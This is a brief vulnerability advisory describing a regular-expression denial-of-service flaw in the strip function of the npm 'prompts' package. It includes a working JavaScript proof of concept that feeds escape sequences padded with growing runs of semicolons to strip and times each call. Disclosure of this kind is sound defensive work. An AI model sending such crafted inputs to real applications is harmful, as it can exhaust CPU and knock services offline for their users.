Regular Expression Denial of Service (ReDoS)

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker that is able to provide a crafted input to the strip functionality may cause an application to consume an excessive amount of CPU.

Note: CVE-2021-3868 was previously assigned to this vulnerability and retracted.

PoC

const strip = require('prompts/lib/util/strip.js');
for(var i = 1; i <= 5000; i++) {
var time = Date.now();
var attack_str = "\u001B["+";".repeat(i*1000);
strip(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
